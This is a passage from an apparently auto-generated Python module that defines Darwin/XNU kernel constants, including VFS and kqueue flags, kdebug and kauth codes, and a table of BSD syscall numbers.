Constant('VQ_FREE_SPACE_CHANGE',0x8000)\nVQ_PURGEABLE_SPACE_CHANGE = Constant('VQ_PURGEABLE_SPACE_CHANGE',0x10000)\nVQ_FLAG20000 = Constant('VQ_FLAG20000',0x20000)\nVFS_IOATTR_FLAGS_FUA = Constant('VFS_IOATTR_FLAGS_FUA',0x00000001)\nVFS_IOATTR_FLAGS_UNMAP = Constant('VFS_IOATTR_FLAGS_UNMAP',0x00000002)\nVFS_IOATTR_FLAGS_SWAPPIN_SUPPORTED = Constant('VFS_IOATTR_FLAGS_SWAPPIN_SUPPORTED',0x00000010)\nVFS_TBLTHREADSAFE = Constant('VFS_TBLTHREADSAFE',0x0001)\nVFS_TBLFSNODELOCK = Constant('VFS_TBLFSNODELOCK',0x0002)\nVFS_TBLNOTYPENUM = Constant('VFS_TBLNOTYPENUM',0x0008)\nVFS_TBLLOCALVOL = Constant('VFS_TBLLOCALVOL',0x0010)\nVFS_TBL64BITREADY = Constant('VFS_TBL64BITREADY',0x0020)\nVFS_TBLNATIVEXATTR = Constant('VFS_TBLNATIVEXATTR',0x0040)\nVFS_TBLDIRLINKS = Constant('VFS_TBLDIRLINKS',0x0080)\nVFS_TBLUNMOUNT_PREFLIGHT = Constant('VFS_TBLUNMOUNT_PREFLIGHT',0x0100)\nVFS_TBLGENERICMNTARGS = Constant('VFS_TBLGENERICMNTARGS',0x0200)\nVFS_TBLREADDIR_EXTENDED = Constant('VFS_TBLREADDIR_EXTENDED',0x0400)\nVFS_TBLNOMACLABEL = Constant('VFS_TBLNOMACLABEL',0x1000)\nVFS_TBLVNOP_PAGEINV2 = Constant('VFS_TBLVNOP_PAGEINV2',0x2000)\nVFS_TBLVNOP_PAGEOUTV2 = Constant('VFS_TBLVNOP_PAGEOUTV2',0x4000)\nVFS_TBLVNOP_NOUPDATEID_RENAME = Constant('VFS_TBLVNOP_NOUPDATEID_RENAME',0x8000)\nVFS_TBLVNOP_SECLUDE_RENAME = Constant('VFS_TBLVNOP_SECLUDE_RENAME',0x10000)\nVFS_TBLCANMOUNTROOT = Constant('VFS_TBLCANMOUNTROOT',0x20000)\nVFSIOC_MOUNT_BYROLE_has_recovery = Constant('VFSIOC_MOUNT_BYROLE_has_recovery',1)\nVFS_RETURNED = Constant('VFS_RETURNED',0)\nVFS_RETURNED_DONE = Constant('VFS_RETURNED_DONE',1)\nVFS_CLAIMED = Constant('VFS_CLAIMED',2)\nVFS_CLAIMED_DONE = Constant('VFS_CLAIMED_DONE',3)\nVFS_USER_EVENT = Constant('VFS_USER_EVENT',0)\nVFS_KERNEL_EVENT = Constant('VFS_KERNEL_EVENT',1)\nLK_NOWAIT = Constant('LK_NOWAIT',1)\nNFSV4_MAX_FH_SIZE = Constant('NFSV4_MAX_FH_SIZE',128)\nNFSV3_MAX_FH_SIZE = Constant('NFSV3_MAX_FH_SIZE',64)\nNFSV2_MAX_FH_SIZE = Constant('NFSV2_MAX_FH_SIZE',32)\nCRYPTEX_AUTH_STRUCT_VERSION = Constant('CRYPTEX_AUTH_STRUCT_VERSION',2)\nEV_FD = Constant('EV_FD',1)\nEV_RE = Constant('EV_RE',1)\nEV_WR = Constant('EV_WR',2)\nEV_EX = Constant('EV_EX',4)\nEV_RM = Constant('EV_RM',8)\nEV_MASK = Constant('EV_MASK',0xf)\nEV_RBYTES = Constant('EV_RBYTES',0x100)\nEV_WBYTES = Constant('EV_WBYTES',0x200)\nEV_RCLOSED = Constant('EV_RCLOSED',0x400)\nEV_RCONN = Constant('EV_RCONN',0x800)\nEV_WCLOSED = Constant('EV_WCLOSED',0x1000)\nEV_WCONN = Constant('EV_WCONN',0x2000)\nEV_OOB = Constant('EV_OOB',0x4000)\nEV_FIN = Constant('EV_FIN',0x8000)\nEV_RESET = Constant('EV_RESET',0x10000)\nEV_TIMEOUT = Constant('EV_TIMEOUT',0x20000)\nEV_DMASK = Constant('EV_DMASK',0xffffff00)\nKDEBUG_LEVEL_NONE = Constant('KDEBUG_LEVEL_NONE',0)\nKDEBUG_LEVEL_IST = Constant('KDEBUG_LEVEL_IST',1)\nKDEBUG_LEVEL_STANDARD = Constant('KDEBUG_LEVEL_STANDARD',2)\nKDEBUG_LEVEL_FULL = Constant('KDEBUG_LEVEL_FULL',3)\nKDBG_FLAG_FILTERED = Constant('KDBG_FLAG_FILTERED',0x01)\nKDBG_FLAG_NOPROCFILT = Constant('KDBG_FLAG_NOPROCFILT',0x02)\n__DARWIN_LITTLE_ENDIAN = Constant('__DARWIN_LITTLE_ENDIAN',1234)\n__DARWIN_BIG_ENDIAN = Constant('__DARWIN_BIG_ENDIAN',4321)\n__DARWIN_PDP_ENDIAN = Constant('__DARWIN_PDP_ENDIAN',3412)\nUSE_CLANG_TYPES = Constant('USE_CLANG_TYPES',0)\n__DARWIN_NULL = Constant('__DARWIN_NULL',0)\nUBC_PUSHDIRTY = Constant('UBC_PUSHDIRTY',0x01)\nUBC_PUSHALL = Constant('UBC_PUSHALL',0x02)\nUBC_INVALIDATE = Constant('UBC_INVALIDATE',0x04)\nUBC_SYNC = Constant('UBC_SYNC',0x08)\nKAUTH_NTSID_MAX_AUTHORITIES = Constant('KAUTH_NTSID_MAX_AUTHORITIES',16)\nKAUTH_EXTLOOKUP_SUCCESS = Constant('KAUTH_EXTLOOKUP_SUCCESS',0)\nKAUTH_EXTLOOKUP_BADRQ = Constant('KAUTH_EXTLOOKUP_BADRQ',1)\nKAUTH_EXTLOOKUP_FAILURE = Constant('KAUTH_EXTLOOKUP_FAILURE',2)\nKAUTH_EXTLOOKUP_FATAL = Constant('KAUTH_EXTLOOKUP_FATAL',3)\nKAUTH_EXTLOOKUP_INPROG = Constant('KAUTH_EXTLOOKUP_INPROG',100)\nKAUTH_ACE_KINDMASK = Constant('KAUTH_ACE_KINDMASK',0xf)\nKAUTH_ACE_PERMIT = Constant('KAUTH_ACE_PERMIT',1)\nKAUTH_ACE_DENY = Constant('KAUTH_ACE_DENY',2)\nKAUTH_ACE_AUDIT = Constant('KAUTH_ACE_AUDIT',3)\nKAUTH_ACE_ALARM = Constant('KAUTH_ACE_ALARM',4)\nKAUTH_ACL_MAX_ENTRIES = Constant('KAUTH_ACL_MAX_ENTRIES',128)\nKAUTH_FILESEC_MAGIC = Constant('KAUTH_FILESEC_MAGIC',0x012cc16d)\nKAUTH_ENDIAN_HOST = Constant('KAUTH_ENDIAN_HOST',0x00000001)\nKAUTH_ENDIAN_DISK = Constant('KAUTH_ENDIAN_DISK',0x00000002)\nKAUTH_GENERIC_ISSUSER = Constant('KAUTH_GENERIC_ISSUSER',1)\nKAUTH_PROCESS_CANSIGNAL = Constant('KAUTH_PROCESS_CANSIGNAL',1)\nKAUTH_PROCESS_CANTRACE = Constant('KAUTH_PROCESS_CANTRACE',2)\nKAUTH_FILEOP_OPEN = Constant('KAUTH_FILEOP_OPEN',1)\nKAUTH_FILEOP_CLOSE = Constant('KAUTH_FILEOP_CLOSE',2)\nKAUTH_FILEOP_RENAME = Constant('KAUTH_FILEOP_RENAME',3)\nKAUTH_FILEOP_EXCHANGE = Constant('KAUTH_FILEOP_EXCHANGE',4)\nKAUTH_FILEOP_LINK = Constant('KAUTH_FILEOP_LINK',5)\nKAUTH_FILEOP_EXEC = Constant('KAUTH_FILEOP_EXEC',6)\nKAUTH_FILEOP_DELETE = Constant('KAUTH_FILEOP_DELETE',7)\nKAUTH_FILEOP_WILL_RENAME = Constant('KAUTH_FILEOP_WILL_RENAME',8)\nDBG_PPT = Constant('DBG_PPT',36)\nDBG_PERFCTRL = Constant('DBG_PERFCTRL',39)\nDBG_CLPC = Constant('DBG_CLPC',50)\nDBG_MUSE = Constant('DBG_MUSE',52)\nDBG_ANS = Constant('DBG_ANS',128)\nDBG_SIO = Constant('DBG_SIO',129)\nDBG_SEP = Constant('DBG_SEP',130)\nDBG_ISP = Constant('DBG_ISP',131)\nDBG_OSCAR = Constant('DBG_OSCAR',132)\nDBG_EMBEDDEDGFX = Constant('DBG_EMBEDDEDGFX',133)\nDBG_PMP = Constant('DBG_PMP',134)\nDBG_RTKIT = Constant('DBG_RTKIT',135)\nDBG_DCP = Constant('DBG_DCP',136)\nDBG_KMP = Constant('DBG_KMP',137)\nDBG_SKYWALK_ALWAYSON = Constant('DBG_SKYWALK_ALWAYSON',0x10)\nDBG_SKYWALK_FLOWSWITCH = Constant('DBG_SKYWALK_FLOWSWITCH',0x11)\nDBG_SKYWALK_NETIF = Constant('DBG_SKYWALK_NETIF',0x12)\nDBG_SKYWALK_CHANNEL = Constant('DBG_SKYWALK_CHANNEL',0x13)\nDBG_SKYWALK_PACKET = Constant('DBG_SKYWALK_PACKET',0x14)\nDBG_AQM_ALWAYSON = Constant('DBG_AQM_ALWAYSON',0x30)\nDBG_AQM_STATS = Constant('DBG_AQM_STATS',0x31)\nPPT_TEST = Constant('PPT_TEST',0x01)\nPPT_JETSAM_HIWAT = Constant('PPT_JETSAM_HIWAT',0x02)\nPPT_JETSAM_TOPPROC = Constant('PPT_JETSAM_TOPPROC',0x03)\nDBG_SEC_SSMA = Constant('DBG_SEC_SSMA',0x02)\nKDBG_CPU_SHIFT = Constant('KDBG_CPU_SHIFT',56)\nKDBG_INIT = Constant('KDBG_INIT',0x01)\nKDBG_FREERUN = Constant('KDBG_FREERUN',0x04)\nKDBG_CPUMAP_IS_IOP = Constant('KDBG_CPUMAP_IS_IOP',0x1)\nKDEBUG_COMMPAGE_ENABLE_TRACE = Constant('KDEBUG_COMMPAGE_ENABLE_TRACE',0x1)\nKDEBUG_COMMPAGE_ENABLE_TYPEFILTER = Constant('KDEBUG_COMMPAGE_ENABLE_TYPEFILTER',0x2)\nKDEBUG_COMMPAGE_CONTINUOUS = Constant('KDEBUG_COMMPAGE_CONTINUOUS',0x4)\nKDBG_LOCKINIT = Constant('KDBG_LOCKINIT',0x0080)\nKDBG_CLASSTYPE = Constant('KDBG_CLASSTYPE',0x10000)\nKDBG_SUBCLSTYPE = Constant('KDBG_SUBCLSTYPE',0x20000)\nKDBG_RANGETYPE = Constant('KDBG_RANGETYPE',0x40000)\nKDBG_TYPENONE = Constant('KDBG_TYPENONE',0x80000)\nKDBG_CKTYPES = Constant('KDBG_CKTYPES',0xF0000)\nRAW_VERSION0 = Constant('RAW_VERSION0',0x55aa0000)\nRAW_VERSION1 = Constant('RAW_VERSION1',0x55aa0101)\nRAW_VERSION2 = Constant('RAW_VERSION2',0x55aa0200)\nkEnTrCompKernel = Constant('kEnTrCompKernel',2)\nkEnTrActKernSocket = Constant('kEnTrActKernSocket',1)\nkEnTrActKernSockRead = Constant('kEnTrActKernSockRead',2)\nkEnTrActKernSockWrite = Constant('kEnTrActKernSockWrite',3)\nkEnTrActKernPoll = Constant('kEnTrActKernPoll',10)\nkEnTrActKernSelect = Constant('kEnTrActKernSelect',11)\nkEnTrActKernKQWait = Constant('kEnTrActKernKQWait',12)\nkEnTrEvUnblocked = Constant('kEnTrEvUnblocked',256)\nkEnTrFlagNonBlocking = Constant('kEnTrFlagNonBlocking',0x1)\nkEnTrFlagNoWork = Constant('kEnTrFlagNoWork',0x2)\nENTR_SHOULDTRACE = Constant('ENTR_SHOULDTRACE',0)\nSYS_syscall = Constant('SYS_syscall',0 + 0x2000000)\nSYS_exit = Constant('SYS_exit',1 + 0x2000000)\nSYS_fork = Constant('SYS_fork',2 + 0x2000000)\nSYS_read = Constant('SYS_read',3 + 0x2000000)\nSYS_write = Constant('SYS_write',4 + 0x2000000)\nSYS_open = Constant('SYS_open',5 + 0x2000000)\nSYS_close = Constant('SYS_close',6 + 0x2000000)\nSYS_wait4 = Constant('SYS_wait4',7 + 0x2000000)\nSYS_link = Constant('SYS_link',9 + 0x2000000)\nSYS_unlink = Constant('SYS_unlink',10 + 0x2000000)\nSYS_chdir = Constant('SYS_chdir',12 + 0x2000000)\nSYS_fchdir = Constant('SYS_fchdir',13 + 0x2000000)\nSYS_mknod = Constant('SYS_mknod',14 + 0x2000000)\nSYS_chmod = Constant('SYS_chmod',15 + 0x2000000)\nSYS_chown = Constant('SYS_chown',16 + 0x2000000)\nSYS_getfsstat = Constant('SYS_getfsstat',18 + 0x2000000)\nSYS_getpid = Constant('SYS_getpid',20 + 0x2000000)\nSYS_setuid = Constant('SYS_setuid',23 + 0x2000000)\nSYS_getuid = Constant('SYS_getuid',24 + 0x2000000)\nSYS_geteuid = Constant('SYS_geteuid',25 + 0x2000000)\nSYS_ptrace = Constant('SYS_ptrace',26 + 0x2000000)\nSYS_recvmsg = Constant('SYS_recvmsg',27 + 0x2000000)\nSYS_sendmsg = Constant('SYS_sendmsg',28 + 0x2000000)\nSYS_recvfrom = Constant('SYS_recvfrom',29 + 0x2000000)\nSYS_accept = Constant('SYS_accept',30 + 0x2000000)\nSYS_getpeername = Constant('SYS_getpeername',31 + 0x2000000)\nSYS_getsockname = Constant('SYS_getsockname',32 + 0x2000000)\nSYS_access = Constant('SYS_access',33 + 0x2000000)\nSYS_chflags = Constant('SYS_chflags',34 + 0x2000000)\nSYS_fchflags = Constant('SYS_fchflags',35 + 0x2000000)\nSYS_sync = Constant('SYS_sync',36 + 0x2000000)\nSYS_kill = Constant('SYS_kill',37 + 0x2000000)\nSYS_crossarch_trap = Constant('SYS_crossarch_trap',38 + 0x2000000)\nSYS_getppid = Constant('SYS_getppid',39 + 0x2000000)\nSYS_dup = Constant('SYS_dup',41 + 0x2000000)\nSYS_pipe = Constant('SYS_pipe',42 + 0x2000000)\nSYS_getegid = Constant('SYS_getegid',43 + 0x2000000)\nSYS_sigaction = Constant('SYS_sigaction',46 + 0x2000000)\nSYS_getgid = Constant('SYS_getgid',47 + 0x2000000)\nSYS_sigprocmask = Constant('SYS_sigprocmask',48 + 0x2000000)\nSYS_getlogin = Constant('SYS_getlogin',49 + 0x2000000)\nSYS_setlogin = Constant('SYS_setlogin',50 + 0x2000000)\nSYS_acct = Constant('SYS_acct',51 + 0x2000000)\nSYS_sigpending = Constant('SYS_sigpending',52 + 0x2000000)\nSYS_sigaltstack = Constant('SYS_sigaltstack',53 + 0x2000000)\nSYS_ioctl = Constant('SYS_ioctl',54 + 0x2000000)\nSYS_reboot = Constant('SYS_reboot',55 + 0x2000000)\nSYS_revoke = Constant('SYS_revoke',56 + 0x2000000)\nSYS_symlink = Constant('SYS_symlink',57 + 0x2000000)\nSYS_readlink = Constant('SYS_readlink',58 + 0x2000000)\nSYS_execve = Constant('SYS_execve',59 + 0x2000000)\nSYS_umask = Constant('SYS_umask',60 + 0x2000000)\nSYS_chroot = Constant('SYS_chroot',61 + 0x2000000)\nSYS_msync = Constant('SYS_msync',65 + 0x2000000)\nSYS_vfork = Constant('SYS_vfork',66 + 0x2000000)\nSYS_munmap = Constant('SYS_munmap',73 + 0x2000000)\nSYS_mprotect = Constant('SYS_mprotect',74 + 0x2000000)\nSYS_madvise = Constant('SYS_madvise',75 + 0x2000000)\nSYS_mincore = Constant('SYS_mincore',78 + 0x2000000)\nSYS_getgroups = Constant('SYS_getgroups',79 + 0x2000000)\nSYS_setgroups = Constant('SYS_setgroups',80 + 0x2000000)\nSYS_getpgrp = Constant('SYS_getpgrp',81 + 0x2000000)\nSYS_setpgid = Constant('SYS_setpgid',82 + 0x2000000)\nSYS_setitimer = Constant('SYS_setitimer',83 + 0x2000000)\nSYS_swapon = Constant('SYS_swapon',85 + 0x2000000)\nSYS_getitimer = Constant('SYS_getitimer',86 + 0x2000000)\nSYS_getdtablesize = Constant('SYS_getdtablesize',89 + 0x2000000)\nSYS_dup2 = Constant('SYS_dup2',90 + 0x2000000)\nSYS_fcntl = Constant('SYS_fcntl',92 + 0x2000000)\nSYS_select = Constant('SYS_select',93 + 0x2000000)\nSYS_fsync = Constant('SYS_fsync',95 + 0x2000000)\nSYS_setpriority = Constant('SYS_setpriority',96 + 0x2000000)\nSYS_socket = Constant('SYS_socket',97 + 0x2000000)\nSYS_connect = Constant('SYS_connect',98 + 0x2000000)\nSYS_getpriority = Constant('SYS_getpriority',100 + 0x2000000)\nSYS_bind = Constant('SYS_bind',104 + 0x2000000)\nSYS_setsockopt = Constant('SYS_setsockopt',105 + 0x2000000)\nSYS_listen = Constant('SYS_listen',106 + 0x2000000)\nSYS_sigsuspend = Constant('SYS_sigsuspend',111 + 0x2000000)\nSYS_gettimeofday = Constant('SYS_gettimeofday',116 + 0x2000000)\nSYS_getrusage = Constant('SYS_getrusage',117 + 0x2000000)\nSYS_getsockopt = Constant('SYS_getsockopt',118 + 0x2000000)\nSYS_readv = Constant('SYS_readv',120 + 0x2000000)\nSYS_writev = Constant('SYS_writev',121 + 0x2000000)\nSYS_settimeofday = Constant('SYS_settimeofday',122 + 0x2000000)\nSYS_fchown = Constant('SYS_fchown',123 + 0x2000000)\nSYS_fchmod = Constant('SYS_fchmod',124 + 0x2000000)\nSYS_setreuid = Constant('SYS_setreuid',126 + 0x2000000)\nSYS_setregid = Constant('SYS_setregid',127 + 0x2000000)\nSYS_rename = Constant('SYS_rename',128 + 0x2000000)\nSYS_flock = Constant('SYS_flock',131 + 0x2000000)\nSYS_mkfifo = Constant('SYS_mkfifo',132 + 0x2000000)\nSYS_sendto = Constant('SYS_sendto',133 + 0x2000000)\nSYS_shutdown = Constant('SYS_shutdown',134 + 0x2000000)\nSYS_socketpair = Constant('SYS_socketpair',135 + 0x2000000)\nSYS_mkdir = Constant('SYS_mkdir',136 + 0x2000000)\nSYS_rmdir = Constant('SYS_rmdir',137 + 0x2000000)\nSYS_utimes = Constant('SYS_utimes',138 + 0x2000000)\nSYS_futimes = Constant('SYS_futimes',139 + 0x2000000)\nSYS_adjtime = Constant('SYS_adjtime',140 + 0x2000000)\nSYS_gethostuuid = Constant('SYS_gethostuuid',142 + 0x2000000)\nSYS_setsid = Constant('SYS_setsid',147 + 0x2000000)\nSYS_getpgid = Constant('SYS_getpgid',151 + 0x2000000)\nSYS_setprivexec = Constant('SYS_setprivexec',152 + 0x2000000)\nSYS_pread = Constant('SYS_pread',153 + 0x2000000)\nSYS_pwrite = Constant('SYS_pwrite',154 + 0x2000000)\nSYS_nfssvc = Constant('SYS_nfssvc',155 + 0x2000000)\nSYS_statfs = Constant('SYS_statfs',157 + 0x2000000)\nSYS_fstatfs = Constant('SYS_fstatfs',158 + 0x2000000)\nSYS_unmount = Constant('SYS_unmount',159 + 0x2000000)\nSYS_getfh = Constant('SYS_getfh',161 + 0x2000000)\nSYS_quotactl = Constant('SYS_quotactl',165 + 0x2000000)\nSYS_mount = Constant('SYS_mount',167 + 0x2000000)\nSYS_csops = Constant('SYS_csops',169 + 0x2000000)\nSYS_csops_audittoken = Constant('SYS_csops_audittoken',170 + 0x2000000)\nSYS_waitid = Constant('SYS_waitid',173 + 0x2000000)\nSYS_kdebug_typefilter = Constant('SYS_kdebug_typefilter',177 + 0x2000000)\nSYS_kdebug_trace_string = Constant('SYS_kdebug_trace_string',178 + 0x2000000)\nSYS_kdebug_trace64 = Constant('SYS_kdebug_trace64',179 + 0x2000000)\nSYS_kdebug_trace = Constant('SYS_kdebug_trace',180 + 0x2000000)\nSYS_setgid = Constant('SYS_setgid',181 + 0x2000000)\nSYS_setegid = Constant('SYS_setegid',182 + 0x2000000)\nSYS_seteuid = Constant('SYS_seteuid',183 + 0x2000000)\nSYS_sigreturn = Constant('SYS_sigreturn',184 + 0x2000000)\nSYS_panic_with_data = Constant('SYS_panic_with_data',185 + 0x2000000)\nSYS_thread_selfcounts = Constant('SYS_thread_selfcounts',186 + 0x2000000)\nSYS_fdatasync = Constant('SYS_fdatasync',187 + 0x2000000)\nSYS_stat = Constant('SYS_stat',188 + 0x2000000)\nSYS_fstat = Constant('SYS_fstat',189 + 0x2000000)\nSYS_lstat = Constant('SYS_lstat',190 + 0x2000000)\nSYS_pathconf = Constant('SYS_pathconf',191 + 0x2000000)\nSYS_fpathconf = Constant('SYS_fpathconf',192 + 0x2000000)\nSYS_getrlimit = Constant('SYS_getrlimit',194 + 0x2000000)\nSYS_setrlimit = Constant('SYS_setrlimit',195 + 0x2000000)\nSYS_getdirentries = Constant('SYS_getdirentries',196 + 0x2000000)\nSYS_mmap = Constant('SYS_mmap',197 + 0x2000000)\nSYS_lseek = Constant('SYS_lseek',199 + 0x2000000)\nSYS_truncate = Constant('SYS_truncate',200 + 0x2000000)\nSYS_ftruncate = Constant('SYS_ftruncate',201 + 0x2000000)\nSYS_sysctl = Constant('SYS_sysctl',202 + 0x2000000)\nSYS_mlock = Constant('SYS_mlock',203 + 0x2000000)\nSYS_munlock = Constant('SYS_munlock',204 + 0x2000000)\nSYS_undelete = Constant('SYS_undelete',205 + 0x2000000)\nSYS_open_dprotected_np = Constant('SYS_open_dprotected_np',216 + 0x2000000)\nSYS_fsgetpath_ext = Constant('SYS_fsgetpath_ext',217 + 0x2000000)\nSYS_openat_dprotected_np = Constant('SYS_openat_dprotected_np',218 + 0x2000000)\nSYS_getattrlist = Constant('SYS_getattrlist',220 + 0x2000000)\nSYS_setattrlist = Constant('SYS_setattrlist',221 + 0x2000000)\nSYS_getdirentriesattr = Constant('SYS_getdirentriesattr',222 + 0x2000000)\nSYS_exchangedata = Constant('SYS_exchangedata',223 + 0x2000000)\nSYS_searchfs = Constant('SYS_searchfs',225 + 0x2000000)\nSYS_delete = Constant('SYS_delete',226 + 0x2000000)\nSYS_copyfile = Constant('SYS_copyfile',227 + 0x2000000)\nSYS_fgetattrlist = Constant('SYS_fgetattrlist',228 + 0x2000000)\nSYS_fsetattrlist = Constant('SYS_fsetattrlist',229 + 0x2000000)\nSYS_poll = Constant('SYS_poll',230 + 0x2000000)\nSYS_getxattr = Constant('SYS_getxattr',234 + 0x2000000)\nSYS_fgetxattr = Constant('SYS_fgetxattr',235 + 0x2000000)\nSYS_setxattr = Constant('SYS_setxattr',236 + 0x2000000)\nSYS_fsetxattr = Constant('SYS_fsetxattr',237 + 0x2000000)\nSYS_removexattr = Constant('SYS_removexattr',238 + 0x2000000)\nSYS_fremovexattr = Constant('SYS_fremovexattr',239 + 0x2000000)\nSYS_listxattr = Constant('SYS_listxattr',240 + 0x2000000)\nSYS_flistxattr = Constant('SYS_flistxattr',241 + 0x2000000)\nSYS_fsctl = Constant('SYS_fsctl',242 + 0x2000000)\nSYS_initgroups = Constant('SYS_initgroups',243 + 0x2000000)\nSYS_posix_spawn = Constant('SYS_posix_spawn',244 + 0x2000000)\nSYS_ffsctl = Constant('SYS_ffsctl',245 + 0x2000000)\nSYS_fhopen = Constant('SYS_fhopen',248 + 0x2000000)\nSYS_minherit = Constant('SYS_minherit',250 + 0x2000000)\nSYS_semsys = Constant('SYS_semsys',251 + 0x2000000)\nSYS_msgsys = Constant('SYS_msgsys',252 + 0x2000000)\nSYS_shmsys = Constant('SYS_shmsys',253 + 0x2000000)\nSYS_semctl = Constant('SYS_semctl',254 + 0x2000000)\nSYS_semget = Constant('SYS_semget',255 + 0x2000000)\nSYS_semop = Constant('SYS_semop',256 + 0x2000000)\nSYS_msgctl = Constant('SYS_msgctl',258 + 0x2000000)\nSYS_msgget = Constant('SYS_msgget',259 + 0x2000000)\nSYS_msgsnd = Constant('SYS_msgsnd',260 + 0x2000000)\nSYS_msgrcv = Constant('SYS_msgrcv',261 + 0x2000000)\nSYS_shmat = Constant('SYS_shmat',262 + 0x2000000)\nSYS_shmctl = Constant('SYS_shmctl',263 + 0x2000000)\nSYS_shmdt = Constant('SYS_shmdt',264 + 0x2000000)\nSYS_shmget = Constant('SYS_shmget',265 + 0x2000000)\nSYS_shm_open = Constant('SYS_shm_open',266 + 0x2000000)\nSYS_shm_unlink = Constant('SYS_shm_unlink',267 + 0x2000000)\nSYS_sem_open = Constant('SYS_sem_open',268 + 0x2000000)\nSYS_sem_close = Constant('SYS_sem_close',269 + 0x2000000)\nSYS_sem_unlink = Constant('SYS_sem_unlink',270 + 0x2000000)\nSYS_sem_wait = Constant('SYS_sem_wait',271 + 0x2000000)\nSYS_sem_trywait = Constant('SYS_sem_trywait',272 + 0x2000000)\nSYS_sem_post = Constant('SYS_sem_post',273 + 0x2000000)\nSYS_sysctlbyname = Constant('SYS_sysctlbyname',274 + 0x2000000)\nSYS_open_extended = Constant('SYS_open_extended',277 + 0x2000000)\nSYS_umask_extended = Constant('SYS_umask_extended',278 + 0x2000000)\nSYS_stat_extended = Constant('SYS_stat_extended',279 + 0x2000000)\nSYS_lstat_extended = Constant('SYS_lstat_extended',280 + 0x2000000)\nSYS_fstat_extended = Constant('SYS_fstat_extended',281 + 0x2000000)\nSYS_chmod_extended = Constant('SYS_chmod_extended',282 + 0x2000000)\nSYS_fchmod_extended = Constant('SYS_fchmod_extended',283 + 0x2000000)\nSYS_access_extended = Constant('SYS_access_extended',284 + 0x2000000)\nSYS_settid = Constant('SYS_settid',285 + 0x2000000)\nSYS_gettid = Constant('SYS_gettid',286 + 0x2000000)\nSYS_setsgroups = Constant('SYS_setsgroups',287 + 0x2000000)\nSYS_getsgroups = Constant('SYS_getsgroups',288 + 0x2000000)\nSYS_setwgroups = Constant('SYS_setwgroups',289 + 0x2000000)\nSYS_getwgroups = Constant('SYS_getwgroups',290 + 0x2000000)\nSYS_mkfifo_extended = Constant('SYS_mkfifo_extended',291 + 0x2000000)\nSYS_mkdir_extended = Constant('SYS_mkdir_extended',292 + 0x2000000)\nSYS_identitysvc = Constant('SYS_identitysvc',293 + 0x2000000)\nSYS_shared_region_check_np = Constant('SYS_shared_region_check_np',294 + 0x2000000)\nSYS_vm_pressure_monitor = Constant('SYS_vm_pressure_monitor',296 + 0x2000000)\nSYS_psynch_rw_longrdlock = Constant('SYS_psynch_rw_longrdlock',297 + 0x2000000)\nSYS_psynch_rw_yieldwrlock = Constant('SYS_psynch_rw_yieldwrlock',298 + 0x2000000)\nSYS_psynch_rw_downgrade = Constant('SYS_psynch_rw_downgrade',299 + 0x2000000)\nSYS_psynch_rw_upgrade = Constant('SYS_psynch_rw_upgrade',300 + 0x2000000)\nSYS_psynch_mutexwait = Constant('SYS_psynch_mutexwait',301 + 0x2000000)\nSYS_psynch_mutexdrop = Constant('SYS_psynch_mutexdrop',302 + 0x2000000)\nSYS_psynch_cvbroad = Constant('SYS_psynch_cvbroad',303 + 0x2000000)\nSYS_psynch_cvsignal = Constant('SYS_psynch_cvsignal',304 + 0x2000000)\nSYS_psynch_cvwait = Constant('SYS_psynch_cvwait',305 + 0x2000000)\nSYS_psynch_rw_rdlock = Constant('SYS_psynch_rw_rdlock',306 + 0x2000000)\nSYS_psynch_rw_wrlock = Constant('SYS_psynch_rw_wrlock',307 + 0x2000000)\nSYS_psynch_rw_unlock = Constant('SYS_psynch_rw_unlock',308 + 0x2000000)\nSYS_psynch_rw_unlock2 = Constant('SYS_psynch_rw_unlock2',309 + 0x2000000)\nSYS_getsid = Constant('SYS_getsid',310 + 0x2000000)\nSYS_settid_with_pid = Constant('SYS_settid_with_pid',311 + 0x2000000)\nSYS_psynch_cvclrprepost = Constant('SYS_psynch_cvclrprepost',312 + 0x2000000)\nSYS_aio_fsync = Constant('SYS_aio_fsync',313 + 0x2000000)\nSYS_aio_return = Constant('SYS_aio_return',314 + 0x2000000)\nSYS_aio_suspend = Constant('SYS_aio_suspend',315 + 0x2000000)\nSYS_aio_cancel = Constant('SYS_aio_cancel',316 + 0x2000000)\nSYS_aio_error = Constant('SYS_aio_error',317 + 0x2000000)\nSYS_aio_read = Constant('SYS_aio_read',318 + 0x2000000)\nSYS_aio_write = Constant('SYS_aio_write',319 + 0x2000000)\nSYS_lio_listio = Constant('SYS_lio_listio',320 + 0x2000000)\nSYS_iopolicysys = Constant('SYS_iopolicysys',322 + 0x2000000)\nSYS_process_policy = Constant('SYS_process_policy',323 + 0x2000000)\nSYS_mlockall = Constant('SYS_mlockall',324 + 0x2000000)\nSYS_munlockall = Constant('SYS_munlockall',325 + 0x2000000)\nSYS_issetugid = Constant('SYS_issetugid',327 + 0x2000000)\nSYS___pthread_kill = Constant('SYS___pthread_kill',328 + 0x2000000)\nSYS___pthread_sigmask = Constant('SYS___pthread_sigmask',329 + 0x2000000)\nSYS___sigwait = Constant('SYS___sigwait',330 + 0x2000000)\nSYS___disable_threadsignal = Constant('SYS___disable_threadsignal',331 + 0x2000000)\nSYS___pthread_markcancel = Constant('SYS___pthread_markcancel',332 + 0x2000000)\nSYS___pthread_canceled = Constant('SYS___pthread_canceled',333 + 0x2000000)\nSYS___semwait_signal = Constant('SYS___semwait_signal',334 + 0x2000000)\nSYS_proc_info = Constant('SYS_proc_info',336 + 0x2000000)\nSYS_sendfile = Constant('SYS_sendfile',337 + 0x2000000)\nSYS_stat64 = Constant('SYS_stat64',338 + 0x2000000)\nSYS_fstat64 = Constant('SYS_fstat64',339 + 0x2000000)\nSYS_lstat64 = Constant('SYS_lstat64',340 + 0x2000000)\nSYS_stat64_extended = Constant('SYS_stat64_extended',341 + 0x2000000)\nSYS_lstat64_extended = Constant('SYS_lstat64_extended',342 + 0x2000000)\nSYS_fstat64_extended = Constant('SYS_fstat64_extended',343 + 0x2000000)\nSYS_getdirentries64 = Constant('SYS_getdirentries64',344 + 0x2000000)\nSYS_statfs64 = Constant('SYS_statfs64',345 + 0x2000000)\nSYS_fstatfs64 = Constant('SYS_fstatfs64',346 + 0x2000000)\nSYS_getfsstat64 = Constant('SYS_getfsstat64',347 + 0x2000000)\nSYS___pthread_chdir = Constant('SYS___pthread_chdir',348 + 0x2000000)\nSYS___pthread_fchdir = Constant('SYS___pthread_fchdir',349 + 0x2000000)\nSYS_audit = Constant('SYS_audit',350 + 0x2000000)\nSYS_auditon = Constant('SYS_auditon',351 + 0x2000000)\nSYS_getauid = Constant('SYS_getauid',353 + 0x2000000)\nSYS_setauid = Constant('SYS_setauid',354 + 